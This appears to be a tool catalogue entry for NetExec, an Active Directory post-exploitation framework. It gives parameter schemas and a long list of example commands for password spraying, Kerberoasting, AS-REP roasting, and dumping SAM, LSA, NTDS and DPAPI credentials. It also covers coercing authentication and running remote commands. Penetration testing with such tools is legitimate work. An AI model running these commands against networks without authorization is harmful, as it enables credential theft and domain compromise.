Post-exploitation framework for Active Directory assessment that automates enumeration, lateral movement, and attack execution against Windows domain networks.
netexec {protocol} {target} -u {username} -p {password} 📎 protocol 🌍 target → ip 🌍 username → user 📎 password netexec {protocol} {target} -u {username} -p {password}Sandbox: execFile · Timeout: 120s
security.enum.smb security.enum.ldap security.enum.winrm security.bruteforce.passwordspray security.credential.dump security.lateral.smbexec security.lateral.winrmexec security.ad.ridbrute security.ad.asreproast security.ad.kerberoast security.ad.sessions security.ad.shares security.ad.gmsa security.ad.trusteddelegation security.ad.coerce security.ad.dpapi | Name | Type | Required | Default | Description | Aliases |
|---|---|---|---|---|---|
protocol | string | Yes | - | Protocol to use: smb, ldap, winrm, mssql | - |
target | string | Yes | - | Target IP address or CIDR range | - |
username | string | No | - | Domain username for authentication | - |
password | string | No | - | Plaintext password for authentication | - |
hash | string | No | - | NTLM hash for pass-the-hash authentication | - |
domain | string | No | - | Target domain name | - |
| Type | Description | MIME | Schema | Trust |
|---|---|---|---|---|
security.credential.dump | Dumped credentials from SAM/LSA/DPAPI | - | - | verified |
security.ntds.dump | NTDS.dit dumped domain credentials | - | - | verified |
Inputs
network.target.ip Target IP address or hostname
credential.username Domain username
credential.password Plaintext password
credential.hash NTLM hash for pass-the-hash
Outputs
security.credential.dump Extracted credentials
security.enum.result Enumeration results (users, groups, shares, sessions)
network_trafficprocess_spawn Produces
security.credential.dumpsecurity.enum.resultConsumes
network.target.ipcredential.usernamecredential.passwordcredential.hash| Resource | Value |
|---|---|
| CPU | low |
| Memory | 128 MB |
| Network | medium |
| Disk I/O | low |
Enumerate SMB hosts, OS versions, and sign-in status
netexec smb 10.10.10.0/24RID brute force to enumerate domain users
netexec smb 10.10.10.1 -u guest -p '' --rid-bruteEnumerate password policy (null session)
netexec smb 10.10.10.1 -u '' -p '' --pass-polEnumerate active sessions on remote hosts
netexec smb 10.10.10.0/24 -u user -p pass --sessionsEnumerate domain users via SAMR
netexec smb 10.10.10.1 -u user -p pass --usersEnumerate domain groups
netexec smb 10.10.10.1 -u user -p pass --groupsEnumerate local groups on target
netexec smb 10.10.10.1 -u user -p pass --local-groupsEnumerate accessible SMB shares
netexec smb 10.10.10.1 -u user -p pass --sharesEnumerate disks via SMB
netexec smb 10.10.10.1 -u user -p pass --disksList relay candidates (SMB signing disabled)
netexec smb 10.10.10.0/24 --gen-relay-list relay.txtEnumerate logged-on users via SMB
netexec smb 10.10.10.0/24 -u user -p pass --loggedon-usersLDAP enumeration of domain users
netexec ldap 10.10.10.1 -u user -p pass --usersLDAP AS-REP roasting
netexec ldap 10.10.10.1 -u user -p pass --asreproast asrep.txtLDAP Kerberoasting
netexec ldap 10.10.10.1 -u user -p pass --kerberoast kerb.txtFind gMSA accounts
netexec ldap 10.10.10.1 -u user -p pass --gmsaFind trusted-for-delegation accounts
netexec ldap 10.10.10.1 -u user -p pass --trusted-for-delegationPassword spray against SMB
netexec smb 10.10.10.0/24 -u users.txt -p 'Password123' --continue-on-successSMB command execution (psexec-style)
netexec smb 10.10.10.1 -u user -p pass -x whoamiEnable WDigest on target
netexec smb 10.10.10.1 -u user -p pass -M wdigestDump SAM registry hives
netexec smb 10.10.10.1 -u admin -p pass --samDump LSA secrets
netexec smb 10.10.10.1 -u admin -p pass --lsaDump NTDS.dit domain database
netexec smb 10.10.10.1 -u admin -p pass --ntdsDump credentials with lsassy
netexec smb 10.10.10.1 -u admin -p pass -M lsassyExtract DPAPI secrets/blobs
netexec smb 10.10.10.1 -u admin -p pass -M dpapiTimeroasting — extract timestamp hashes from SMB
netexec smb 10.10.10.1 -u user -p pass -M timeroastCoerce authentication via ms-efsr / coerce_plus
netexec smb 10.10.10.1 -u user -p pass -M coerce_plusChange AD user password
netexec smb 10.10.10.1 -u admin -p pass -M change_password -o OLD_PASS=old NEW_PASS=newGet user description fields (often contain passwords)
netexec smb 10.10.10.1 -u user -p pass -M get-desc-usersFind AS-REP roastable accounts with get_user_Password=notrequired
netexec smb 10.10.10.1 -u user -p pass -M get_user_Password -o PASSWORD=notrequiredNetExec (formerly CrackMapExec, abbreviated nxc) is a swiss-army knife for Active Directory post-exploitation. It provides protocol-aware enumeration, credential spraying, automatic credential dumping, and lateral movement across SMB, LDAP, WinRM, and more.
| Protocol | Command Prefix | Use Case |
|---|---|---|
| SMB | nxc smb |
Share enumeration, RID brute, SAM/LSA/DPAPI dump, command exec |
| LDAP | nxc ldap |
User enumeration, AS-REP roast, kerberoast, delegation |
| WinRM | nxc winrm |
Remote command execution via WinRM |
| MSSQL | nxc mssql |
SQL Server enumeration and query execution |